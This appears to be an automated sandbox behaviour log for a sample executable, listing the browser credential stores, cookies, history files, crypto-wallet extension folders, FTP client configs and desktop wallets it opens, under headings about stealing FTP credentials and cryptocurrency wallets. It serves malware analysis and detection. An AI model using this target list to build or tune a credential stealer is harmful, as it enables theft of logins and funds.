Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
